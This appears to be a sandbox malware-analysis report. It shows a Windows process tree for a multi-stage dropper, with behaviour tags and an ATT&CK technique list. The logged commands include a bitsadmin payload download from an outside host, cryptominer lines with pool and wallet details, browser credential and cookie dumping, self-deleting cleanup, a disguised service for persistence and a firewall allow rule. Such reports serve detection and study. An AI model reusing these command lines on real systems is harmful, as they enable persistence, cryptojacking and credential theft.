"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hsgxuhrq.1xo\md1_1eaf.exe & exit
6⤵
PID:4868

C:\Users\Admin\AppData\Local\Temp\hsgxuhrq.1xo\md1_1eaf.exe
C:\Users\Admin\AppData\Local\Temp\hsgxuhrq.1xo\md1_1eaf.exe
7⤵
- Executes dropped EXE
PID:4948

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\as5ki05h.ebq\askinstall36.exe & exit
6⤵
PID:4520

C:\Users\Admin\AppData\Local\Temp\as5ki05h.ebq\askinstall36.exe
C:\Users\Admin\AppData\Local\Temp\as5ki05h.ebq\askinstall36.exe
7⤵
PID:5280

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
8⤵
PID:6008

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
9⤵
- Kills process with taskkill
PID:5268

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ckk22wej.tkv\MBPFBGSAQN.exe & exit
6⤵
PID:5644

C:\Users\Admin\AppData\Local\Temp\ckk22wej.tkv\MBPFBGSAQN.exe
C:\Users\Admin\AppData\Local\Temp\ckk22wej.tkv\MBPFBGSAQN.exe
7⤵
PID:5684

C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4756

C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
parse.exe -f json -b firefox
9⤵
PID:5240

C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
parse.exe -f json -b chrome
9⤵
- Executes dropped EXE
PID:5280

C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
parse.exe -f json -b edge
9⤵
PID:5216

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lycpslwr.mer\y1.exe & exit
6⤵
PID:5412

C:\Users\Admin\AppData\Local\Temp\lycpslwr.mer\y1.exe
C:\Users\Admin\AppData\Local\Temp\lycpslwr.mer\y1.exe
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5548

C:\Users\Admin\AppData\Local\Temp\En8ggTeQBW.exe
"C:\Users\Admin\AppData\Local\Temp\En8ggTeQBW.exe"
8⤵
PID:5824

C:\Users\Admin\AppData\Roaming\1619121633839.exe
"C:\Users\Admin\AppData\Roaming\1619121633839.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619121633839.txt"
9⤵
PID:5528

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\En8ggTeQBW.exe"
9⤵
PID:5184

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
10⤵
- Executes dropped EXE
PID:5684

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
10⤵
- Runs ping.exe
PID:3576

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\lycpslwr.mer\y1.exe"
8⤵
PID:4844

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:4136

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eomeoi15.akq\ABCbrowser.exe /VERYSILENT & exit
6⤵
PID:5676

C:\Users\Admin\AppData\Local\Temp\eomeoi15.akq\ABCbrowser.exe
C:\Users\Admin\AppData\Local\Temp\eomeoi15.akq\ABCbrowser.exe /VERYSILENT
7⤵
- Executes dropped EXE
PID:4852

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
8⤵
PID:5372

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
8⤵
PID:6016

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nc0twrxw.vyj\toolspab1.exe & exit
6⤵
PID:5992

C:\Users\Admin\AppData\Local\Temp\nc0twrxw.vyj\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\nc0twrxw.vyj\toolspab1.exe
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2272

C:\Users\Admin\AppData\Local\Temp\nc0twrxw.vyj\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\nc0twrxw.vyj\toolspab1.exe
8⤵
PID:3700

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tfo4q20u.iog\SunLabsPlayer.exe /S & exit
6⤵
PID:5160

C:\Users\Admin\AppData\Local\Temp\tfo4q20u.iog\SunLabsPlayer.exe
C:\Users\Admin\AppData\Local\Temp\tfo4q20u.iog\SunLabsPlayer.exe /S
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp837B.tmp\tempfile.ps1"
8⤵
PID:3016

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp837B.tmp\tempfile.ps1"
8⤵
PID:5780

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp837B.tmp\tempfile.ps1"
8⤵
PID:740

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3700

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp837B.tmp\tempfile.ps1"
8⤵
PID:5636

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp837B.tmp\tempfile.ps1"
8⤵
PID:5288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp837B.tmp\tempfile.ps1"
8⤵
PID:4436

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp837B.tmp\tempfile.ps1"
8⤵
PID:5844

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
8⤵
- Download via BitsAdmin
PID:5780

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hkk1yncu.ojr\GcleanerWW.exe /mixone & exit
6⤵
PID:5872

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zrntwrmj.xef\inst.exe & exit
6⤵
PID:1060

C:\Users\Admin\AppData\Local\Temp\zrntwrmj.xef\inst.exe
C:\Users\Admin\AppData\Local\Temp\zrntwrmj.xef\inst.exe
7⤵
- Executes dropped EXE
PID:5688

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nc45gabm.3h5\c7ae36fa.exe & exit
6⤵
PID:5244

C:\Users\Admin\AppData\Local\Temp\nc45gabm.3h5\c7ae36fa.exe
C:\Users\Admin\AppData\Local\Temp\nc45gabm.3h5\c7ae36fa.exe
7⤵
- Executes dropped EXE
PID:5316

C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
2⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4300

C:\Users\Admin\AppData\Roaming\FD90.tmp.exe
"C:\Users\Admin\AppData\Roaming\FD90.tmp.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4792

C:\Users\Admin\AppData\Roaming\FD90.tmp.exe
"C:\Users\Admin\AppData\Roaming\FD90.tmp.exe"
4⤵
- Executes dropped EXE
- Checks processor information in registry
PID:4928

C:\Users\Admin\AppData\Roaming\14A.tmp.exe
"C:\Users\Admin\AppData\Roaming\14A.tmp.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:4936

C:\Windows\system32\msiexec.exe
-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w23605@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
4⤵
PID:1044

C:\Windows\system32\msiexec.exe
-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w11531 --cpu-max-threads-hint 50 -r 9999
4⤵
- Blocklisted process makes network request
PID:4764

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
3⤵
PID:1036

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
4⤵
- Runs ping.exe
PID:5116

C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:4700

C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
2⤵
PID:5228

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
PID:4612

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
PID:5984

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:1020

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5008

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4196

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4788

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:5608

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5796

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5904

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\9e7493ba2d254796944a82a39d0aced0 /t 5652 /p 5904
1⤵
PID:5448

C:\Users\Admin\AppData\Local\Temp\8F2C.exe
C:\Users\Admin\AppData\Local\Temp\8F2C.exe
1⤵
PID:5392

C:\Users\Admin\AppData\Local\Temp\9383.exe
C:\Users\Admin\AppData\Local\Temp\9383.exe
1⤵
PID:888

C:\Users\Admin\AppData\Local\Temp\A90F.exe
C:\Users\Admin\AppData\Local\Temp\A90F.exe
1⤵
PID:4112

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\A90F.exe"
2⤵
PID:5032

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:6056

C:\Users\Admin\AppData\Local\Temp\AAC6.exe
C:\Users\Admin\AppData\Local\Temp\AAC6.exe
1⤵
PID:5808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 868
2⤵
- Program crash
PID:5108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 896
2⤵
- Program crash
PID:5952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 924
2⤵
- Program crash
PID:5936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 1008
2⤵
- Program crash
PID:5792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 1124
2⤵
- Program crash
PID:2472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 968
2⤵
- Program crash
PID:5212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 1136
2⤵
- Program crash
PID:5472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 1220
2⤵
- Program crash
PID:1180

C:\Users\Admin\AppData\Local\Temp\B093.exe
C:\Users\Admin\AppData\Local\Temp\B093.exe
1⤵
- Modifies registry class
PID:5008

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:2940

C:\Users\Admin\AppData\Local\Temp\B660.exe
C:\Users\Admin\AppData\Local\Temp\B660.exe
1⤵
PID:5648

C:\Users\Admin\AppData\Local\Temp\B930.exe
C:\Users\Admin\AppData\Local\Temp\B930.exe
1⤵
PID:4640

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
2⤵
PID:4776

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:5720

C:\Users\Admin\AppData\Local\Temp\1371397063.exe
"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
2⤵
PID:1960

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:5504

C:\Users\Admin\AppData\Local\Temp\BCFA.exe
C:\Users\Admin\AppData\Local\Temp\BCFA.exe
1⤵
PID:5252

C:\Users\Admin\AppData\Local\Temp\C150.exe
C:\Users\Admin\AppData\Local\Temp\C150.exe
1⤵
PID:5636

C:\Users\Admin\AppData\Local\Temp\CA1B.exe
C:\Users\Admin\AppData\Local\Temp\CA1B.exe
1⤵
PID:5684

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gyhxryey\
2⤵
PID:4988

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ehnhwhsy.exe" C:\Windows\SysWOW64\gyhxryey\
2⤵
PID:2200

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create gyhxryey binPath= "C:\Windows\SysWOW64\gyhxryey\ehnhwhsy.exe /d\"C:\Users\Admin\AppData\Local\Temp\CA1B.exe\"" type= own start= auto DisplayName= "wifi support"
2⤵
PID:3692

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description gyhxryey "wifi internet conection"
2⤵
PID:4180

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start gyhxryey
2⤵
PID:5400

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
2⤵
PID:5564

C:\Users\Admin\AppData\Local\Temp\CBD2.exe
C:\Users\Admin\AppData\Local\Temp\CBD2.exe
1⤵
PID:5124

C:\Users\Admin\AppData\Local\Temp\EEDC.exe
C:\Users\Admin\AppData\Local\Temp\EEDC.exe
1⤵
PID:5544

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:4984

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:6132

C:\Windows\SysWOW64\gyhxryey\ehnhwhsy.exe
C:\Windows\SysWOW64\gyhxryey\ehnhwhsy.exe /d"C:\Users\Admin\AppData\Local\Temp\CA1B.exe"
1⤵
PID:5200

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
PID:5888

C:\Users\Admin\AppData\Local\Temp\36E.exe
C:\Users\Admin\AppData\Local\Temp\36E.exe
1⤵
PID:5736

C:\Users\Admin\AppData\Local\Temp\185F.exe
C:\Users\Admin\AppData\Local\Temp\185F.exe
1⤵
PID:4420

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2872

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:5752

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:928

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

New Service

T1050

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

BITS Jobs

T1197

Privilege Escalation

New Service

T1050

Defense Evasion

Modify Registry

BITS Jobs

T1197

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

System Information Discovery